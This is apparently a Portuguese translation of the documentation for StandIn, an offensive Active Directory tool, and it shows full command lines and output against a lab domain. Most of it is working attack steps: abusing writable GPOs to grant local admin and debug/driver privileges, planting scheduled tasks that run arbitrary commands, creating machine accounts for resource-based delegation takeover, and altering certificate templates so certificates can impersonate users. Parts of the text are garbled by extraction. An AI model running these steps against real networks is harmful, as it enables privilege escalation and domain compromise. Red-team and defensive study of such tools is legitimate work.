|_ MSSQL/Alchimiae
Esta função enumera todas as contas que têm permissão para realizar delegação irrestrita, delegação restrita ou delegação restrita baseada em recursos. Esses ativos podem ser usados para expandir o acesso ou atingir objetivos.
Retorna todas as contas que possuem permissões de delegação irrestrita ou restrita, ou possuem privilégios de delegação restrita baseada em recursos de entrada.``` C:> StandIn.exe --delegation
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 3 object(s) with unconstrained delegation..
[*] SamAccountName : M-2019-03$ DistinguishedName : CN=M-2019-03,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W16-DC01$ DistinguishedName : CN=M-W16-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[*] SamAccountName : M-W19-DC01$ DistinguishedName : CN=M-W19-DC01,OU=Domain Controllers,DC=main,DC=redhook,DC=local userAccountControl : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
[?] Found 2 object(s) with constrained delegation..
[*] SamAccountName : M-2019-04$ DistinguishedName : CN=M-2019-04,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : HOST/m-w16-dc01.main.redhook.local/main.redhook.local HOST/m-w16-dc01.main.redhook.local HOST/M-W16-DC01 HOST/m-w16-dc01.main.redhook.local/MAIN HOST/M-W16-DC01/MAIN Protocol Transition : False userAccountControl : WORKSTATION_TRUST_ACCOUNT
[*] SamAccountName : M-2019-05$ DistinguishedName : CN=M-2019-05,OU=Servers,OU=OCCULT,DC=main,DC=redhook,DC=local msDS-AllowedToDelegateTo : cifs/m-2012r2-03.main.redhook.local cifs/M-2012R2-03 Protocol Transition : True userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
[?] Found 1 object(s) with resource-based constrained delegation..
[*] SamAccountName : M-10-1909-01$ DistinguishedName : CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local Inbound Delegation : Server Admins [GROUP] userAccountControl : WORKSTATION_TRUST_ACCOUNT
## DC's
#### Caso de Uso
> *Esta função fornece consciência situacional ao encontrar todos os controladores de domínio e listar algumas de suas propriedades, incluindo suas atribuições de função.*
#### Sintaxe
Obter todos os controladores de domínio.```
C:\> StandIn.exe --dc
[?] Using DC : m-w16-dc01.main.redhook.local
|_ Domain : main.redhook.local
[*] Host : m-w16-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.5
OSVersion : Windows Server 2016 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Role : SchemaRole
NamingRole
PdcRole
RidRole
InfrastructureRole
[*] Host : m-w19-dc01.main.redhook.local
Domain : main.redhook.local
Forest : main.redhook.local
SiteName : Default-First-Site-Name
IP : 10.42.54.13
OSVersion : Windows Server 2019 Datacenter
Local System Time UTC : Tuesday, 03 November 2020 03:29:17
Esta função fornece consciência situacional encontrando todas as confianças de domínio.
Obter todas as relações de confiança para o domínio atual.``` C:> StandIn.exe --trust
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local
[>] Source : main.redhook.local Target : redhook.local TrustDirection : Bidirectional TrustType : ParentChild
## Operações GPO
Essas funções lidam especificamente com a manipulação de GPO.
### Listar GPO's
#### Caso de Uso
> *Esta função pode enumerar todos os objetos de `Group Policy` do domínio. Opcionalmente, você pode usar wildcard `--filter` e `--limit` na quantidade de entradas retornadas. Você também pode consultar as ACLs dos objetos GPO com `--acl`.*
#### Sintaxe
Enumere objetos GPO e revise as ACLs dos GPOs.```
C:\> StandIn.exe --gpo
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 3
|_ Result limit : 50
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Controllers Policy
CN : {6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/3/2021 10:30:25 AM
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Default Domain Policy
CN : {31B2F340-016D-11D2-945F-00C04FB984F9}
GPCFilesysPath : \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
GPCMachineExtensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
WhenCreated : 6/3/2021 10:30:25 AM
WhenChanged : 6/5/2021 11:59:55 PM
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
DisplayName : Shards
CN : {028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
GPCMachineExtensionnames : [{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
WhenCreated : 6/4/2021 2:11:43 PM
WhenChanged : 6/4/2021 11:33:33 PM
C:\> StandIn.exe --gpo --filter Shards --acl
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO result count : 1
|_ Result limit : 50
|_ Applying search filter
[?] Object : CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : LDAP://CN={028A7368-C524-46AA-B27A-CE8BDAC4EA66},CN=Policies,CN=System,DC=redhook,DC=local
GPCFilesysPath : \\redhook.local\SysVol\redhook.local\Policies\{028A7368-C524-46AA-B27A-CE8BDAC4EA66}
Path : OK
[+] Account : CREATOR OWNER
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : InheritOnly
[+] Account : NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\Authenticated Users
Type : Allow
Rights : ReadAndExecute, Synchronize
Inherited ACE : False
Propagation : None
[+] Account : NT AUTHORITY\SYSTEM
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Domain Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\Enterprise Admins
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
[+] Account : REDHOOK\user001
Type : Allow
Rights : FullControl
Inherited ACE : False
Propagation : None
Com as permissões apropriadas, é possível adicionar um usuário de domínio ao grupo
BUILTIN\Administratorsem um GPO vulnerável.
Adiciona usuário ao grupo BUILTIN\Administrators para todos os objetos de computador vinculados ao GPO Shards. Esta função pode tanto criar os arquivos necessários quanto atualizar arquivos existentes. Use com cautela.```
C:> StandIn.exe --gpo --filter Shards --localadmin user002
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found Object : CN=user 002 Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version User : 0 Computer : 0
[+] Writing GPO changes |_ Creating GptTmpl.inf |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCMachineExtensionNames
### Adicionar privilégio de usuário no GPO
> *Com as permissões adequadas, é possível ativar um privilégio de token para um usuário de domínio em um GPO vulnerável.*
#### Sintaxe
Adicionar privilégio de `token` a uma conta de usuário para todos os objetos de computador vinculados ao GPO `Shards`. Esta função pode tanto criar os arquivos necessários quanto atualizar arquivos existentes. **Use com cautela.**```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"
[+] Validating account rights
|_ Rights count: 2
|_ SeDebugPrivilege
|_ SeLoadDriverPrivilege
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[+] User Object Found
Object : CN=user 002
Path : LDAP://CN=user 002,CN=Users,DC=redhook,DC=local
SID : S-1-5-21-315358687-3711474269-2098994107-1106
[?] GPO Version
User : 0
Computer : 1
[+] Writing GPO changes
|_ Updating existing GptTmpl.inf
|_ Adding GPO Privileges
|_ Updating revision
|_ Updating gpt.inf
|_ Updating AD object
|_ Incrementing version number
|_ Updating gPCMachineExtensionNames
Com as permissões apropriadas, é possível adicionar uma tarefa imediata ao componente
UtilizadorouComputadordo GPO. Opcionalmente, essas tarefas podem ser limitadas para se aplicar a um único utilizador ou a um único computador.
Adicionar uma tarefa genérica de Computador que será executada para todos os objetos de computador vinculados ao GPO Shards. Além disso, adicionar uma tarefa direcionada de Utilizador que só será executada para um utilizador de domínio específico. Esta função pode tanto criar os ficheiros necessários como atualizar ficheiros existentes. Use com cuidado.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 2
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Updating gPCMachineExtensionNames
C:> StandIn.exe --gpo --filter Shards --tasktype user --taskname Ivonis --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args" --target "REDHOOK\user001" --targetsid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found Object : CN={58890948-8DE3-4A39-8C40-F68004186693} Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local GP Path : \redhook.local\SysVol\redhook.local\Policies{58890948-8DE3-4A39-8C40-F68004186693}
[?] GPO Version User : 0 Computer : 3
[+] Writing GPO changes |_ Creating ScheduledTasks.xml |_ Updating gpt.inf |_ Updating AD object |_ Incrementing version number |_ Creating gPCUserExtensionNames
### GPO aumentar versão de usuário / computador
> *Enquanto as funções GPO anteriores oferecem primitivas de exploração poderosas, pode ser útil ter a capacidade de editar manualmente `GPO's` no `SysVol`. Assim que qualquer GPO for modificado manualmente, a versão do objeto AD deve ser sincronizada para propagar corretamente as alterações. Esta função faz isso.*
#### Sintaxe
Aumentar a versão `User` ou `Computer` do GPO no objeto AD associado.```
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype user
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 1
Computer : 3
--> Incrementing user version
C:\Users\user001\Desktop>StandIn.exe --gpo --filter Shards --increase --tasktype computer
[?] Using DC : m-w16-dc01.main.redhook.local
[+] GPO Object Found
Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
GP Path : \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
[?] Current GPO Versioning
User : 2
Computer : 3
--> Incrementing computer version
Esta função tenta exibir algumas informações básicas de política para consciência situacional.
Leia a Default Domain Policy e extraia algumas informações de política de usuário/sessão. Se a política padrão foi renomeada, você pode especificá-la com --filter ou, alternativamente, realizar uma consulta --object para a raiz do domínio (ex: distinguishedname=DC=redhook,DC=local).```
C:> StandIn.exe --policy
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9} Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local Policy Root : \redhook.local\sysvol\redhook.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Domain Policy |_ MinimumPasswordAge : 1 |_ MaximumPasswordAge : 42 |_ MinimumPasswordLength : 7 |_ PasswordComplexity : 1 |_ PasswordHistorySize : 24 |_ LockoutBadCount : 5 |_ ResetLockoutCount : 30 |_ LockoutDuration : 30 |_ LSAAnonymousNameLookup : 0 |_ Kerberos max User ticket lifetime : 10 |_ Kerberos max Service ticket lifetime : 600 |_ Kerberos max User ticket renewal lifetime : 7
## DNS
#### Caso de Uso
> *Esta função busca informações de DNS de domínio do AD e suporta filtragem curinga.*
#### Sintaxe
Lê entradas de DNS sob objetos `CN=MicrosoftDNS` específicos e analisa os dados DNS binários. O `search base` pode ser ajustado especificando `--legacy` ou `--forest`. Você também pode limitar os resultados retornados com `--limit`.```
C:\Users\user001\Desktop>StandIn.exe --dns --filter RedHook-CLI
[+] Search Base: LDAP://DC=redhook.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=redhook,DC=local
[+] Object : RedHook-CLI-01
|_ DNS_RPC_RECORD_A : 10.0.0.100
[+] Object : RedHook-CLI-02
|_ DNS_RPC_RECORD_A : 10.0.0.101
Estas funções lidam especificamente com grupos de domínio.
Esta função fornece consciência situacional, listando todos os membros de um grupo de domínio, incluindo seu tipo (usuário ou grupo aninhado). Como entrada, também pode receber um
samAccountNamee retornará de quais grupos o usuário faz parte.
Enumere associações a grupos ou associações de usuários e forneça detalhes rudimentares para os objetos membros.``` C:> StandIn.exe --group "Server Admins"
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : Group resolution Group : Server Admins
[+] Members
[?] Path : LDAP://CN=Workstation Admins,OU=Groups,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : Workstation Admins Type : SAM_GROUP_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1108
[?] Path : LDAP://CN=Server Admin 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin001 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1111
[?] Path : LDAP://CN=Server Admin 002,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin002 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1184
[?] Path : LDAP://CN=Server Admin 003,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin003 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1185
[?] Path : LDAP://CN=Server Admin 004,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin004 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1186
[?] Path : LDAP://CN=Server Admin 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : srvadmin005 Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1187
[?] Path : LDAP://CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : SimCritical Type : SAM_USER_OBJECT SID : S-1-5-21-1293271031-3053586410-2290657902-1204
C:> StandIn.exe --group user001
[?] Using DC : m-w16-dc01.main.redhook.local [?] Type : User resolution User : user 001
[+] Memberships
[?] Path : LDAP://<SID=010500000000000515000000dffdcb125d9a38ddbb1b1c7d01020000> samAccountName : Domain Users Type : SAM_GROUP_OBJECT SID : S-1-5-21-315358687-3711474269-2098994107-513
### Adicionar / remover usuário de grupo
#### Caso de Uso
> *Com acesso apropriado, o operador pode adicionar ou remover uma conta NTAccount de um grupo de domínio.*
#### Sintaxe
Adicione um identificador NTAccount a um grupo de domínio. Normalmente, isso seria um usuário, mas também pode ser um grupo. Por fim, remova o identificador NTAccount do grupo de domínio.```
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group lowprivbutmachineaccess --ntaccount "MAIN\user001" --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Adding user to group
|_ Success
C:\> StandIn.exe --group lowprivbutmachineaccess
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Type : Group resolution
Group : lowprivbutmachineaccess
[+] Members
[?] Path : LDAP://CN=User 001,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : user001
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1106
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
samAccountName : s4uUser
Type : User
SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:\> StandIn.exe --group testgroup --ntaccount "MAIN\user001" --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Group : lowPrivButMachineAccess
GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Removing user from group
|_ Success
Essas funções são especificamente para operações de máquina e esperam o nome da máquina como entrada.
O operador pode desejar criar um objeto de máquina para realizar um ataque de delegação restrita baseada em recurso. Por padrão, qualquer usuário do domínio tem a capacidade de criar até 10 máquinas no domínio local.
Cria um novo objeto de máquina com uma senha aleatória. A cota de usuário ms-DS-MachineAccountQuota se aplica a esta operação.```
C:> StandIn.exe --computer M-1337-b33f --make
[?] Using DC : m-w16-dc01.main.redhook.local |_ Domain : main.redhook.local |_ DN : CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local |_ Password : MlCGkaacS5SRUOt
[+] Machine account added to AD..
A propriedade `ms-DS-MachineAccountQuota` existe no objeto raiz do domínio. Se você precisar verificar a cota, pode realizar uma pesquisa de objeto conforme mostrado abaixo.```
C:\> StandIn.exe --object ms-DS-MachineAccountQuota=*
Usuários padrão não têm a capacidade de excluir um objeto de máquina, no entanto, um usuário que criar uma máquina pode posteriormente desativar o objeto de máquina.
Desative uma máquina que foi criada anteriormente. Esta ação deve ser realizada no contexto do mesmo usuário que criou a máquina. Observe que usuários não elevados não podem excluir objetos de máquina, apenas desativá-los.``` C:> StandIn.exe --computer M-1337-b33f --disable
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-1337-b33f Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account currently enabled |_ Account disabled..
### Excluir objeto de máquina
#### Caso de Uso
> *Com privilégios elevados de AD, o operador pode excluir um objeto de máquina, como um criado anteriormente na cadeia de ataque.*
#### Sintaxe
Use um contexto elevado para excluir um objeto de máquina.```
C:\> StandIn.exe --computer M-1337-b33f --delete
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-1337-b33f
Path : LDAP://CN=M-1337-b33f,CN=Computers,DC=main,DC=redhook,DC=local
[+] Machine account deleted from AD
Com acesso de escrita a um objeto de máquina, esta função permite ao operador adicionar uma propriedade
msDS-AllowedToActOnBehalfOfOtherIdentityà máquina, que é necessária para realizar um ataque de delegação restrita baseada em recurso.
Adiciona uma propriedade msDS-AllowedToActOnBehalfOfOtherIdentity à máquina juntamente com um SID para facilitar a tomada de controlo do host usando delegação restrita baseada em recurso.```
C:> StandIn.exe --computer m-10-1909-03 --sid S-1-5-21-1293271031-3053586410-2290657902-1205
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] SID added to msDS-AllowedToActOnBehalfOfOtherIdentity
C:> StandIn.exe --object samaccountname=m-10-1909-03$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-03 Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 107 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195771 [+] instancetype |_ 4 [+] name |_ M-10-1909-03 [+] badpasswordtime |_ 7/9/2020 5:07:11 PM UTC [+] pwdlastset |_ 10/29/2020 6:44:08 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-03 |_ TERMSRV/m-10-1909-03.main.redhook.local |_ WSMAN/m-10-1909-03 |_ WSMAN/m-10-1909-03.main.redhook.local |_ RestrictedKrbHost/M-10-1909-03 |_ HOST/M-10-1909-03 |_ RestrictedKrbHost/m-10-1909-03.main.redhook.local |_ HOST/m-10-1909-03.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 10/29/2020 12:29:26 PM UTC [+] usncreated |_ 31127 [+] objectguid |_ c02cff97-4bfd-457c-a568-a748b0725c2f [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 5:05:08 PM [+] adspath |_ LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-03 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:55:14 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-03.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/30/2020 10:55:22 AM |_ 10/29/2020 4:58:51 PM |_ 10/29/2020 4:58:29 PM |_ 1/1/1601 12:00:01 AM [+] lastlogon |_ 11/2/2020 9:07:20 AM UTC [+] distinguishedname |_ CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-03$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1127 [+] lastlogoff |_ 0 [+] msds-allowedtoactonbehalfofotheridentity |_ BinLen : 36 |_ AceQualifier : AccessAllowed |_ IsCallback : False |_ OpaqueLength : 0 |_ AccessMask : 983551 |_ SID : S-1-5-21-1293271031-3053586410-2290657902-1205 |_ AceType : AccessAllowed |_ AceFlags : None |_ IsInherited : False |_ InheritanceFlags : None |_ PropagationFlags : None |_ AuditFlags : None [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### Remover msDS-AllowedToActOnBehalfOfOtherIdentity
#### Caso de Uso
> *Com acesso de escrita a um objeto de máquina, esta função permite ao operador remover uma propriedade `msDS-AllowedToActOnBehalfOfOtherIdentity` anteriormente adicionada da máquina.*
#### Sintaxe
Remover a propriedade `msDS-AllowedToActOnBehalfOfOtherIdentity` criada anteriormente de uma máquina.```
C:\> StandIn.exe --computer m-10-1909-03 --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=M-10-1909-03
Path : LDAP://CN=M-10-1909-03,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] msDS-AllowedToActOnBehalfOfOtherIdentity property removed..
Estas são funções complementares ao Certify. Elas podem facilitar ataques a modelos onde o estado padrão do modelo não é utilizável imediatamente.
Esta função pode enumerar todas as
CAs do domínioe listará todos osmodelos publicados. Opcionalmente, você pode usar curinga--filterno nome completo do modelo ou em uma parte do nome.
Pesquise todos os modelos publicados e, neste caso, filtre a saída para retornar apenas modelos que correspondam a web.```
C:>StandIn.exe --adcs --filter web
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 1:57:16 PM
### Autenticação de Cliente
#### Caso de Uso
> *Para poder gerar certificados que possam ser usados para se passar por usuários do Domínio, a propriedade `pKIExtendedKeyUsage` do modelo de certificado deve conter a flag `Client Authentication`. Com as permissões de `object permissions` apropriadas, esta função permite ao operador adicionar ou remover essa flag do modelo.*
#### Sintaxe
Adicionar/remover a flag `Client Authentication` do modelo `WebServer`. Aqui a flag `--filter` deve corresponder exatamente ao nome do modelo.```
C:\>StandIn.exe --adcs --filter WebServer --clientauth --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:40:06 PM
[+] Adding pKIExtendedKeyUsage : Client Authentication
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --clientauth --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 1:57:16 PM
[+] Removing pKIExtendedKeyUsage : Client Authentication
|_ Success
Para poder fornecer uma identidade de usuário arbitrária ao fazer solicitações de certificado, a propriedade
msPKI-Certificate-Name-Flagdo modelo de certificado deve conter o sinalizadorENROLLEE_SUPPLIES_SUBJECT. Com aspermissões de objetoapropriadas, esta função permite que o operador adicione ou remova esse sinalizador do modelo.
Adicionar/remover o sinalizador ENROLLEE_SUPPLIES_SUBJECT do modelo WebServer. Aqui, o sinalizador --filter deve corresponder exatamente ao nome do modelo.```
C:>StandIn.exe --adcs --filter WebServer --ess --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
